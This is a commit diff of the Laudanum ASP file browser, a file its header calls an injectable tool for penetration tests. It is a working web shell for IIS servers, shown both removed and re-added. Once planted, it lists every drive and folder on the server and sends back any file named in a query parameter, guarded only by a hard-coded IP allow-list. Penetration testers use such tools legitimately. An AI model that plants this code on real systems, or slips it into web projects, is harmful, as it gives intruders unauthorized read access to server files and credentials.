|
1 |
| -<%@Language="VBScript"%> |
2 |
| -<%Option Explicit%> |
3 |
| -<%Response.Buffer = True%> |
4 |
| -<% |
5 |
| -' ******************************************************************************* |
6 |
| -' *** |
7 |
| -' *** Laudanum Project |
8 |
| -' *** A Collection of Injectable Files used during a Penetration Test |
9 |
| -' *** |
10 |
| -' *** More information is available at: |
11 |
| -' *** http://laudanum.secureideas.net |
12 |
| - |
13 |
| -' *** |
14 |
| -' *** Project Leads: |
15 |
| -' *** Kevin Johnson <[email protected] |
16 |
| -' *** Tim Medin <[email protected]> |
17 |
| -' *** |
18 |
| -' *** Copyright 2012 by Kevin Johnson and the Laudanum Team |
19 |
| -' *** |
20 |
| -' ******************************************************************************** |
21 |
| -' *** |
22 |
| -' *** This file provides access to the file system. |
23 |
| -' *** Written by Tim Medin <[email protected]> |
24 |
| -' *** |
25 |
| -' ******************************************************************************** |
26 |
| -' *** This program is free software; you can redistribute it and/or |
27 |
| -' *** modify it under the terms of the GNU General Public License |
28 |
| -' *** as published by the Free Software Foundation; either version 2 |
29 |
| -' *** of the License, or (at your option) any later version. |
30 |
| -' *** |
31 |
| -' *** This program is distributed in the hope that it will be useful, |
32 |
| -' *** but WITHOUT ANY WARRANTY; without even the implied warranty of |
33 |
| -' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
34 |
| -' *** GNU General Public License for more details. |
35 |
| -' *** |
36 |
| -' *** You can get a copy of the GNU General Public License from this |
37 |
| -' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1 |
38 |
| -' *** You can also write to the Free Software Foundation, Inc., Temple |
39 |
| -' *** Place - Suite Boston, MA USA. |
40 |
| -' *** |
41 |
| -' ***************************************************************************** */ |
42 |
| -
|
43 |
| -' ***************** Config entries below *********************** |
44 |
| -
|
45 |
| -' Define variables |
46 |
| -Dim allowedIPs |
47 |
| -Dim allowed |
48 |
| -Dim filepath |
49 |
| -Dim file |
50 |
| -Dim stream |
51 |
| -Dim path |
52 |
| -Dim i |
53 |
| -Dim fso |
54 |
| -Dim folder |
55 |
| -Dim list |
56 |
| -Dim temppath |
57 |
| -
|
58 |
| -' IPs are enterable as individual addresses TODO: add CIDR support |
59 |
| -allowedIPs = "192.168.0.1,127.0.0.1,::1" |
60 |
| -' Just in cace you added a space in the line above |
61 |
| -allowedIPs = replace(allowedIPS," ","") |
62 |
| -'turn it into an array |
63 |
| -allowedIPs = split(allowedIPS,",") ' |
64 |
| -' make sure the ip is allowed |
65 |
| -allowed = 0 |
66 |
| -for i = lbound(allowedIPs) to ubound(allowedIPs) |
67 |
| - if allowedIPS(i) = Request.ServerVariables("REMOTE_ADDR") then |
68 |
| - allowed = 1 |
69 |
| - exit for |
70 |
| - end if |
71 |
| -next |
72 |
| -' send a 404 if the IP Address is not allowed |
73 |
| -if allowed = 0 then |
74 |
| - Response.Status = "404 File Not Found" |
75 |
| - Response.Write(Response.Status & Request.ServerVariables("REMOTE_ADDR")) |
76 |
| - Response.End |
77 |
| -end if |
78 |
| -
|
79 |
| -' create file object for use everywhere |
80 |
| -set fso = CreateObject("Scripting.FileSystemObject") |
81 |
| -
|
82 |
| -' download a file if selected |
83 |
| -filepath = trim(Request.QueryString("file")) |
84 |
| -'validate file |
85 |
| -if len(filepath) > 0 then |
86 |
| - if fso.FileExists(filepath) then |
87 |
| - 'valid file |
88 |
| -
|
89 |
| - Set file = fso.GetFile(filepath) |
90 |
| - Response.AddHeader "Content-Disposition", "attachment; filename=" & file.Name |
91 |
| - 'Response.AddHeader "Content-Length", file.Size |
92 |
| - Response.ContentType = "application/octet-stream" |
93 |
| - set stream = Server.CreateObject("ADODB.Stream") |
94 |
| - stream.Open |
95 |
| - stream.Type = 1 |
96 |
| - Response.Charset = "UTF-8" |
97 |
| - stream.LoadFromFile(file.Path) |
98 |
| - ' TODO: Downloads for files greater than 4Mb may not work since the default buffer limit in IIS is 4Mb. |
99 |
| - Response.BinaryWrite(stream.Read) |
100 |
| - stream.Close |
101 |
| - set stream = Nothing |
102 |
| - set file = Nothing |
103 |
| - Response.End |
104 |
| - end if |
105 |
| -end if |
106 |
| -
|
107 |
| -' begin rendering the page |
108 |
| -%> |
109 |
| -<html> |
110 |
| -<head> |
111 |
| - <title>Laudanum ASP File Browser</title> |
112 |
| -</head> |
113 |
| -<body> |
114 |
| - |
115 |
| -<h1>Laudanum File Browser 0.1</h1> |
116 |
| - |
117 |
| -<% |
118 |
| -' get the path to work with, if it isn't set or valid then start with the web root |
119 |
| -' goofy if statement is used since vbscript doesn't use short-curcuit logic |
120 |
| -path = trim(Request.QueryString("path")) |
121 |
| -if len(path) = 0 then |
122 |
| - path = fso.GetFolder(Server.MapPath("\")) |
123 |
| -elseif not fso.FolderExists(path) then |
124 |
| - path = fso.GetFolder(Server.MapPath("\")) |
125 |
| -end if |
126 |
| -
|
127 |
| -set folder = fso.GetFolder(path) |
128 |
| -
|
129 |
| -' Special locations, webroot and drives |
130 |
| -%><b>Other Locations:</b> <% |
131 |
| -for each i in fso.Drives |
132 |
| - if i.IsReady then |
133 |
| - %><a href="<%=Request.ServerVariables("URL") & "?path=" & i.DriveLetter%>:\"><%=i.DriveLetter%>:</a> <% |
134 |
| - end if |
135 |
| -next |
136 |
| -%><a href="<%=Request.ServerVariables("URL")%>">web root</a><br/><% |
137 |
| -
|
138 |
| -' Information on folder |
139 |
| -%><h2>Listing of: <% |
140 |
| -list = split(folder.path, "\") |
141 |
| -temppath = "" |
142 |
| -for each i in list |
143 |
| - temppath = temppath & i & "\" |
144 |
| - %><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(temppath)%>"><%=i%>\</a> <% |
145 |
| -next |
146 |
| -%></h2><% |
147 |
| -
|
148 |
| -' build table for listing |
149 |
| -%><table> |
150 |
| -<tr><th align="left">Name</th><th>Size</th><th>Modified</th><th>Accessed</th><th>Created</th></tr><% |
151 |
| -' Parent Path if it exists |
152 |
| -if not folder.IsRootFolder then |
153 |
| - %><tr><td><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(folder.ParentFolder.Path)%>">..</a></td><% |
154 |
| -end if |
155 |
| -
|
156 |
| -' Get the folders |
157 |
| -set list = folder.SubFolders |
158 |
| -for each i in list |
159 |
| - %><tr><td><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(i.Path)%>"><%=i.Name%>\</a></td></tr><% |
160 |
| -next |
161 |
| -
|
162 |
| -' Get the files |
163 |
| -set list = folder.Files |
164 |
| -for each i in list |
165 |
| - %><tr><td><a href="<%=Request.ServerVariables("URL") & "?file=" & Server.URLEncode(i.Path)%>"><%=i.Name%></a></td><td align="right"><%=FormatNumber(i.Size, 0)%></td><td align="right"><%=i.DateLastModified%></td><td align="right"><%=i.DateLastAccessed%></td><td align="right"><%=i.DateCreated%></td></tr><% |
166 |
| -next |
167 |
| -
|
168 |
| -' all done |
169 |
| -%> |
170 |
| - </table> |
171 |
| - <hr/> |
172 |
| - <address> |
173 |
| - Copyright © 2012, < a href= "mailto:[email protected]">Kevin Johnson</ a> and the Laudanum team.< br/> |
174 |
| - Written by Tim Medin.<br/> |
175 |
| - Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>. |
176 |
| - </address> |
177 |
| - |
178 |
| -</body> |
179 |
| -</html> |
| 1 | +<%@Language="VBScript"%> |
| 2 | +<%Option Explicit%> |
| 3 | +<%Response.Buffer = True%> |
| 4 | +<% |
| 5 | +' ******************************************************************************* |
| 6 | +' *** |
| 7 | +' *** Laudanum Project |
| 8 | +' *** A Collection of Injectable Files used during a Penetration Test |
| 9 | +' *** |
| 10 | +' *** More information is available at: |
| 11 | +' *** http://laudanum.secureideas.net |
| 12 | + |
| 13 | +' *** |
| 14 | +' *** Project Leads: |
| 15 | +' *** Kevin Johnson <[email protected] |
| 16 | +' *** Tim Medin <[email protected]> |
| 17 | +' *** |
| 18 | +' *** Copyright 2012 by Kevin Johnson and the Laudanum Team |
| 19 | +' *** |
| 20 | +' ******************************************************************************** |
| 21 | +' *** |
| 22 | +' *** This file provides access to the file system. |
| 23 | +' *** Written by Tim Medin <[email protected]> |
| 24 | +' *** |
| 25 | +' ******************************************************************************** |
| 26 | +' *** This program is free software; you can redistribute it and/or |
| 27 | +' *** modify it under the terms of the GNU General Public License |
| 28 | +' *** as published by the Free Software Foundation; either version 2 |
| 29 | +' *** of the License, or (at your option) any later version. |
| 30 | +' *** |
| 31 | +' *** This program is distributed in the hope that it will be useful, |
| 32 | +' *** but WITHOUT ANY WARRANTY; without even the implied warranty of |
| 33 | +' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| 34 | +' *** GNU General Public License for more details. |
| 35 | +' *** |
| 36 | +' *** You can get a copy of the GNU General Public License from this |
| 37 | +' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1 |
| 38 | +' *** You can also write to the Free Software Foundation, Inc., Temple |
| 39 | +' *** Place - Suite Boston, MA USA. |
| 40 | +' *** |
| 41 | +' ***************************************************************************** */ |
| 42 | +
|
| 43 | +' ***************** Config entries below *********************** |
| 44 | +
|
| 45 | +' Define variables |
| 46 | +Dim allowedIPs |
| 47 | +Dim allowed |
| 48 | +Dim filepath |
| 49 | +Dim file |
| 50 | +Dim stream |
| 51 | +Dim path |
| 52 | +Dim i |
| 53 | +Dim fso |
| 54 | +Dim folder |
| 55 | +Dim list |
| 56 | +Dim temppath |
| 57 | +
|
| 58 | +' IPs are enterable as individual addresses TODO: add CIDR support |
| 59 | +allowedIPs = "192.168.0.1,127.0.0.1,::1" |
| 60 | +' Just in cace you added a space in the line above |
| 61 | +allowedIPs = replace(allowedIPS," ","") |
| 62 | +'turn it into an array |
| 63 | +allowedIPs = split(allowedIPS,",") ' |
| 64 | +' make sure the ip is allowed |
| 65 | +allowed = 0 |
| 66 | +for i = lbound(allowedIPs) to ubound(allowedIPs) |
| 67 | + if allowedIPS(i) = Request.ServerVariables("REMOTE_ADDR") then |
| 68 | + allowed = 1 |
| 69 | + exit for |
| 70 | + end if |
| 71 | +next |
| 72 | +' send a 404 if the IP Address is not allowed |
| 73 | +if allowed = 0 then |
| 74 | + Response.Status = "404 File Not Found" |
| 75 | + Response.Write(Response.Status & Request.ServerVariables("REMOTE_ADDR")) |
| 76 | + Response.End |
| 77 | +end if |
| 78 | +
|
| 79 | +' create file object for use everywhere |
| 80 | +set fso = CreateObject("Scripting.FileSystemObject") |
| 81 | +
|
| 82 | +' download a file if selected |
| 83 | +filepath = trim(Request.QueryString("file")) |
| 84 | +'validate file |
| 85 | +if len(filepath) > 0 then |
| 86 | + if fso.FileExists(filepath) then |
| 87 | + 'valid file |
| 88 | +
|
| 89 | + Set file = fso.GetFile(filepath) |
| 90 | + Response.AddHeader "Content-Disposition", "attachment; filename=" & file.Name |
| 91 | + 'Response.AddHeader "Content-Length", file.Size |
| 92 | + Response.ContentType = "application/octet-stream" |
| 93 | + set stream = Server.CreateObject("ADODB.Stream") |
| 94 | + stream.Open |
| 95 | + stream.Type = 1 |
| 96 | + Response.Charset = "UTF-8" |
| 97 | + stream.LoadFromFile(file.Path) |
| 98 | + ' TODO: Downloads for files greater than 4Mb may not work since the default buffer limit in IIS is 4Mb. |
| 99 | + Response.BinaryWrite(stream.Read) |
| 100 | + stream.Close |
| 101 | + set stream = Nothing |
| 102 | + set file = Nothing |
| 103 | + Response.End |
| 104 | + end if |
| 105 | +end if |
| 106 | +
|
| 107 | +' begin rendering the page |
| 108 | +%> |
| 109 | +<html> |
| 110 | +<head> |
| 111 | + <title>Laudanum ASP File Browser</title> |
| 112 | +</head> |
| 113 | +<body> |
| 114 | + |
| 115 | +<h1>Laudanum File Browser 0.1</h1> |
| 116 | + |
| 117 | +<% |
| 118 | +' get the path to work with, if it isn't set or valid then start with the web root |
| 119 | +' goofy if statement is used since vbscript doesn't use short-curcuit logic |
| 120 | +path = trim(Request.QueryString("path")) |
| 121 | +if len(path) = 0 then |
| 122 | + path = fso.GetFolder(Server.MapPath("\")) |
| 123 | +elseif not fso.FolderExists(path) then |
| 124 | + path = fso.GetFolder(Server.MapPath("\")) |
| 125 | +end if |
| 126 | +
|
| 127 | +set folder = fso.GetFolder(path) |
| 128 | +
|
| 129 | +' Special locations, webroot and drives |
| 130 | +%><b>Other Locations:</b> <% |
| 131 | +for each i in fso.Drives |
| 132 | + if i.IsReady then |
| 133 | + %><a href="<%=Request.ServerVariables("URL") & "?path=" & i.DriveLetter%>:\"><%=i.DriveLetter%>:</a> <% |
| 134 | + end if |
| 135 | +next |
| 136 | +%><a href="<%=Request.ServerVariables("URL")%>">web root</a><br/><% |
| 137 | +
|
| 138 | +' Information on folder |
| 139 | +%><h2>Listing of: <% |
| 140 | +list = split(folder.path, "\") |
| 141 | +temppath = "" |
| 142 | +for each i in list |
| 143 | + temppath = temppath & i & "\" |
| 144 | + %><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(temppath)%>"><%=i%>\</a> <% |
| 145 | +next |
| 146 | +%></h2><% |
| 147 | +
|
| 148 | +' build table for listing |
| 149 | +%><table> |
| 150 | +<tr><th align="left">Name</th><th>Size</th><th>Modified</th><th>Accessed</th><th>Created</th></tr><% |
| 151 | +' Parent Path if it exists |
| 152 | +if not folder.IsRootFolder then |
| 153 | + %><tr><td><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(folder.ParentFolder.Path)%>">..</a></td><% |
| 154 | +end if |
| 155 | +
|
| 156 | +' Get the folders |
| 157 | +set list = folder.SubFolders |
| 158 | +for each i in list |
| 159 | + %><tr><td><a href="<%=Request.ServerVariables("URL") & "?path=" & Server.URLEncode(i.Path)%>"><%=i.Name%>\</a></td></tr><% |
| 160 | +next |
| 161 | +
|
| 162 | +' Get the files |
| 163 | +set list = folder.Files |
| 164 | +for each i in list |
| 165 | + %><tr><td><a href="<%=Request.ServerVariables("URL") & "?file=" & Server.URLEncode(i.Path)%>"><%=i.Name%></a></td><td align="right"><%=FormatNumber(i.Size, 0)%></td><td align="right"><%=i.DateLastModified%></td><td align="right"><%=i.DateLastAccessed%></td><td align="right"><%=i.DateCreated%></td></tr><% |
| 166 | +next |
| 167 | +
|
| 168 | +' all done |
| 169 | +%> |
| 170 | + </table> |
| 171 | + <hr/> |
| 172 | + <address> |
| 173 | + Copyright © 2012, < a href= "mailto:[email protected]">Kevin Johnson</ a> and the Laudanum team.< br/> |
| 174 | + Written by Tim Medin.<br/> |
| 175 | + Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>. |
| 176 | + </address> |
| 177 | + |
| 178 | +</body> |
| 179 | +</html> |
0 commit comments